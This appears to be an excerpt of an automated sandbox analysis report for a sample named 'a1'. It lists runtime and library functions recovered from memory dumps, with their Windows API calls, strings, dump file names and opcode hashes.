API ID: CriticalSection$EnterLeaveObjectSingleWait
String ID: v
API String ID: 501323975-3261393531
Opcode ID: 2f7882d5bacbb36fc9c62fcee381cf5b1b6c818de9a59c8cce88a60b7b3778f0
Instruction ID: ecad14354844bbc14a1aed17257321a1a14a5cfdaf919e0edbe7ca6a7f1e31e7
Opcode Fuzzy Hash: 2f7882d5bacbb36fc9c62fcee381cf5b1b6c818de9a59c8cce88a60b7b3778f0
Instruction Fuzzy Hash: 27E09232551224EBCB035F84EC0AF8E3F1DAB05B52F144022FD0DA61B1CB657C008BD9

Uniqueness

Uniqueness Score: -1.00%

Function 002D2610 Relevance: 6.4, APIs: 4, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

Part of subcall function 002D2400: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000010), ref: 002D242D

_wcsrchr.LIBVCRUNTIME ref: 002D267E
_wcsrchr.LIBVCRUNTIME ref: 002D26DE
_wcschr.LIBVCRUNTIME ref: 002D2972
_wcschr.LIBVCRUNTIME ref: 002D29FF

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer_wcschr_wcsrchr$FileHeapModuleNameProcess
String ID:
API String ID: 1360097548-0
Opcode ID: 63b2e5a90aefa6be50c2cfccd491f68bf4b0e81ed1e9cf037ca39cefa0d64710
Instruction ID: af301c2509f04dbd7ca3d4d14276a0179e106ee118060b89cf19a051168c9b87
Opcode Fuzzy Hash: 63b2e5a90aefa6be50c2cfccd491f68bf4b0e81ed1e9cf037ca39cefa0d64710
Instruction Fuzzy Hash: C2F1A271A10609DFDB10DFA8C849BAEF7B4EF54314F14826EE915AB391DB709D18CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A57FC35 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(AA831995,?,00000000,?), ref: 6A57FC98

Part of subcall function 6A58390C: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6A57E885,?,00000000,-00000008), ref: 6A5839B8

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6A57FEF3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6A57FF3B
GetLastError.KERNEL32 ref: 6A57FFDE

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: fb4b0bc670df57c077e99d1a73d3bed31a38b11cd5a42cf3039b58b7a7f086b0
Instruction ID: d8336e08fd8ada9fa725fa5aa69a1e7b6101a21679adb3bf1cd9db1e62bfd3d0
Opcode Fuzzy Hash: fb4b0bc670df57c077e99d1a73d3bed31a38b11cd5a42cf3039b58b7a7f086b0
Instruction Fuzzy Hash: 41D14AB5D04258AFCF11CFA8C88499DBBB5FF49314F15452AE865F7242DB30E946CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A5709EF Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6A570AB6
___AdjustPointer.LIBCMT ref: 6A570AD9
___AdjustPointer.LIBCMT ref: 6A570B75

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9dd6286502b4482c460da9972ee67207c58e0b020ae9a4757e6b6ac0a6ea6060
Instruction ID: 6d3da7deb243d585bd34f22d3b5b20c6e2fb4bea89b1f584d57c8b5c79349c22
Opcode Fuzzy Hash: 9dd6286502b4482c460da9972ee67207c58e0b020ae9a4757e6b6ac0a6ea6060
Instruction Fuzzy Hash: 9A51D372645606EFEB26CF14D840BAE77F4EF81318F12442AE91967295EF32DE41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 002AA730 Relevance: 6.2, APIs: 4, Instructions: 153COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002AA77A
std::_Lockit::_Lockit.LIBCPMT ref: 002AA79C
std::_Lockit::~_Lockit.LIBCPMT ref: 002AA7C4
std::_Lockit::~_Lockit.LIBCPMT ref: 002AA931

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: c5d727d4c1620e131a2e777be8164a793e0e42c3054a992309da84f2d21298b9
Instruction ID: a4581521bb553ae617952de0af3b48e408f1df766127770ca677146eea2dca95
Opcode Fuzzy Hash: c5d727d4c1620e131a2e777be8164a793e0e42c3054a992309da84f2d21298b9
Instruction Fuzzy Hash: 13617AB1C10645CFDB11CF58C941BAEBBF4EF15310F1482A9E845AB292EB74AE85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 002CC880 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,DF534560,?,?,?), ref: 002CC96A
CloseHandle.KERNEL32(?,DF534560,?,?,?), ref: 002CC98A

Strings

t=, xrefs: 002CC95B
t=, xrefs: 002CC97B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CloseHandle
String ID: t=$t=
API String ID: 2962429428-1428659785
Opcode ID: 355ec49a6cbca481a835a7434894a27714664a9ea282bb6d6c3a9abcd8ad3d06
Instruction ID: 7cbac05e0d419e7ce2a06c96f2d0ddafe36274a9e8518439b631c73c93fe9deb
Opcode Fuzzy Hash: 355ec49a6cbca481a835a7434894a27714664a9ea282bb6d6c3a9abcd8ad3d06
Instruction Fuzzy Hash: 8E513730901A4ADFE711CF68C948B5AFBF4EF49310F1482A9D449DB2A1EB74EA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 002B0B30 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002B0B64
std::_Lockit::_Lockit.LIBCPMT ref: 002B0B86
std::_Lockit::~_Lockit.LIBCPMT ref: 002B0BAE
std::_Lockit::~_Lockit.LIBCPMT ref: 002B0CC1

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 521f69a09987b269b3b52860d6754787920e595a9d67bf631ef64022dca62509
Instruction ID: e53953d1fbd95c95a0a46e5ee2d455314954bb9bef78dc79b83ad2a151a72c33
Opcode Fuzzy Hash: 521f69a09987b269b3b52860d6754787920e595a9d67bf631ef64022dca62509
Instruction Fuzzy Hash: 93518F71910349DFDB12CF58C880BAEBBF4EB00758F248669E845AB381D7B5AE05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002D4520 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000003,00000000,?,?,?,?,00000000,00000000), ref: 002D457F
GetLastError.KERNEL32(?,?,00000000,00000000), ref: 002D458C
WideCharToMultiByte.KERNEL32(00000003,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 002D45A9
WideCharToMultiByte.KERNEL32(00000003,00000000,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 002D45CB

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 9218aafaeb6ccbb8b9d24f6c75c675917e1f5a1bf760088acf801e8cdbd5943c
Instruction ID: 027b0a422aa65537ab602eda3f1beb1aa31cc3fb9f99c1fffa61f1e8b6e6d418
Opcode Fuzzy Hash: 9218aafaeb6ccbb8b9d24f6c75c675917e1f5a1bf760088acf801e8cdbd5943c
Instruction Fuzzy Hash: 2B3108B6750316BBD710AF54EC82F56B79CEB54B44F20012AFA05973C0DB71BD258BA4

Uniqueness

Uniqueness Score: -1.00%

Function 001D1790 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(DF534560,DF534560,?), ref: 001D17CF
EnterCriticalSection.KERNEL32(?,DF534560,?), ref: 001D17DC
LeaveCriticalSection.KERNEL32(?,?,00000000,?), ref: 001D18B3

Strings

v, xrefs: 001D18B3

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: bd225c77e1a4a7b561aeb3888cb646d7c5ce0362e0547a1d16a62e3dbb9728c0
Instruction ID: bc16d74b720f9944795c060c9404482b42e0a9f69af901b28d47beb59cfa7bc0
Opcode Fuzzy Hash: bd225c77e1a4a7b561aeb3888cb646d7c5ce0362e0547a1d16a62e3dbb9728c0
Instruction Fuzzy Hash: 6A41C435600745EFDB22CF68C840BAABBB5EF55310F10452AE996D7391CB31E915DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A583D12 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6A58390C: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6A57E885,?,00000000,-00000008), ref: 6A5839B8

GetLastError.KERNEL32 ref: 6A583D76
__dosmaperr.LIBCMT ref: 6A583D7D
GetLastError.KERNEL32(?,?,?,?), ref: 6A583DB7
__dosmaperr.LIBCMT ref: 6A583DBE

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 701c158e7603d4d8d13c9ab5e0075daca4776fece1b8a8abe86d5e21fe0a4b8e
Instruction ID: 375cc5def2511de312cb22087d05db4beb2318a51b8361c270dd30aae9f1f74c
Opcode Fuzzy Hash: 701c158e7603d4d8d13c9ab5e0075daca4776fece1b8a8abe86d5e21fe0a4b8e
Instruction Fuzzy Hash: 59217FF1705625AFDB61DF65C88481BF7B9FF413B87018919E929A7251DF30EC008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A57A2F5 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d2fc5f9c1928b927da583a7952d107a93cf7fda0d3898b8493451b9d817267b
Instruction ID: 84aae2476e794645462057cb7f8389e1cf6072222b192e07c7d651d9bda36901
Opcode Fuzzy Hash: 9d2fc5f9c1928b927da583a7952d107a93cf7fda0d3898b8493451b9d817267b
Instruction Fuzzy Hash: 3A218C71608215AFD731DFA5EC48D5A77AABF813687128525FA28F7641EF31EC408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A584CC1 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6A584CC9

Part of subcall function 6A58390C: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6A57E885,?,00000000,-00000008), ref: 6A5839B8

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6A584D01
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6A584D21

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 96eeccfa64f87c4247c0d2472422f307a939c19ca540831e713e2be375fbf8cc
Instruction ID: c199b219924d15f78d3682fed567d7c8f81148fa3a171e74f83faef81a8f717e
Opcode Fuzzy Hash: 96eeccfa64f87c4247c0d2472422f307a939c19ca540831e713e2be375fbf8cc
Instruction Fuzzy Hash: 7311C8F2A066697FA752D7B64C8CC6F7ABCEE862983130515FD01E2141EF74CD0245B1

Uniqueness

Uniqueness Score: -1.00%

Function 001D15C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,DF534560), ref: 001D162A
EnterCriticalSection.KERNEL32(?,DF534560), ref: 001D1637
LeaveCriticalSection.KERNEL32(?), ref: 001D1688

Strings

v, xrefs: 001D1688

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: c6c6f1cb4a69ee884e0565c4a4a828ef53c7810497b522ada666d7f65c25c757
Instruction ID: 34100b58657efb75f099c48337a2369eb303854c837ed1216a207a26f220d4a5
Opcode Fuzzy Hash: c6c6f1cb4a69ee884e0565c4a4a828ef53c7810497b522ada666d7f65c25c757
Instruction Fuzzy Hash: 9C21B176900254AFDF12CF64C840BE9BBB4EF16314F1401AAEC59AB382D7319906CB60

Uniqueness

Uniqueness Score: -1.00%

Function 001D16B0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,DF534560), ref: 001D171A
EnterCriticalSection.KERNEL32(?,DF534560), ref: 001D1727
LeaveCriticalSection.KERNEL32(?), ref: 001D176E

Strings

v, xrefs: 001D176E

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 42d06f8015e508fcec4c517729b76b0ab5f75d98ed0445b16e9f111fb2108a43
Instruction ID: 9a0585f83a2262d016ece8467bbc7c3d2af94c8521c23fbef2b0a8c5da2b4128
Opcode Fuzzy Hash: 42d06f8015e508fcec4c517729b76b0ab5f75d98ed0445b16e9f111fb2108a43
Instruction Fuzzy Hash: C821C176900344EFDF12CF64C840BA9BBB4FF16325F1005A9ED59AB392D731A905CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001D1500 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,DF534560,?), ref: 001D155D
EnterCriticalSection.KERNEL32(?,DF534560,?), ref: 001D156A
LeaveCriticalSection.KERNEL32(?), ref: 001D1592

Strings

v, xrefs: 001D1592

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 84050eb5b988bf1f5ff6002d505b6b48a0a0e1612818b16788cd0f4cf6d16636
Instruction ID: 306379228b03cfcece34f11cdbd3141d0d7f4f209e5f63eff12df2e9ec5a03c7
Opcode Fuzzy Hash: 84050eb5b988bf1f5ff6002d505b6b48a0a0e1612818b16788cd0f4cf6d16636
Instruction Fuzzy Hash: 6721B476904355AFCF02CF64D840BE9BF74EB57324F1001AAD85AA7382D7369A09CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A58AECC Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6A5894DC,?,00000001,?,?,?,6A580032,?,?,00000000), ref: 6A58AEE3
GetLastError.KERNEL32(?,6A5894DC,?,00000001,?,?,?,6A580032,?,?,00000000,?,?,?,6A5805B9,?), ref: 6A58AEEF

Part of subcall function 6A58AEB5: CloseHandle.KERNEL32(FFFFFFFE,6A58AEFF,?,6A5894DC,?,00000001,?,?,?,6A580032,?,?,00000000,?,?), ref: 6A58AEC5

___initconout.LIBCMT ref: 6A58AEFF

Part of subcall function 6A58AE77: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6A58AEA6,6A5894C9,?,?,6A580032,?,?,00000000,?), ref: 6A58AE8A

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6A5894DC,?,00000001,?,?,?,6A580032,?,?,00000000,?), ref: 6A58AF14

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c9dc5cc8ad292c15e87cad4ba80d7a20456c94044c905acd101b297e65de0676
Instruction ID: 4fe92d0de9ae47dfee2e2a9aa5fc55f5fbb67ba8d9e21e747c7566722de9b84d
Opcode Fuzzy Hash: c9dc5cc8ad292c15e87cad4ba80d7a20456c94044c905acd101b297e65de0676
Instruction Fuzzy Hash: 45F0F876241568BBCF529F918C0898A3FB6FB497A0B024015FB1A96160CB328C219BA5

Uniqueness

Uniqueness Score: -1.00%

Function 6A55B970 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 273COMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI(?,?,?,?,?,AA831995,?,?,00000000), ref: 6A55BAC7

Part of subcall function 6A547520: #8.MSI(80070057,AA831995,00000000,6A58C150,000000FF,?,?,00000000,00000000,AA831995,?,6A58C4AD,000000FF,?,6A55BEBE), ref: 6A5475F9

Strings

\\?\UNC\, xrefs: 6A55BAE7, 6A55BB9C
\\?\, xrefs: 6A55BBAF, 6A55BC03, 6A55BC08

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Path
String ID: \\?\$\\?\UNC\
API String ID: 2875597873-3019864461
Opcode ID: 04242019286a49431723d669e68f7109b0b33f2fcce522d795fde7be75562528
Instruction ID: 865aedee1e9d070cf84435b301dcaf3e6585c547e479ad5f88101bc278a346ef
Opcode Fuzzy Hash: 04242019286a49431723d669e68f7109b0b33f2fcce522d795fde7be75562528
Instruction Fuzzy Hash: E4A1B371A0150ADFDB00DFA8C848BAEF7B5FF55324F12825AD415AB292EF75AD01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A55F6E0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 245COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 6A55F7A3
Concurrency::cancel_current_task.LIBCPMT ref: 6A55F9E2
std::_Lockit::_Lockit.LIBCPMT ref: 6A55FA1D
std::_Lockit::_Lockit.LIBCPMT ref: 6A55FA40
std::_Lockit::~_Lockit.LIBCPMT ref: 6A55FA68
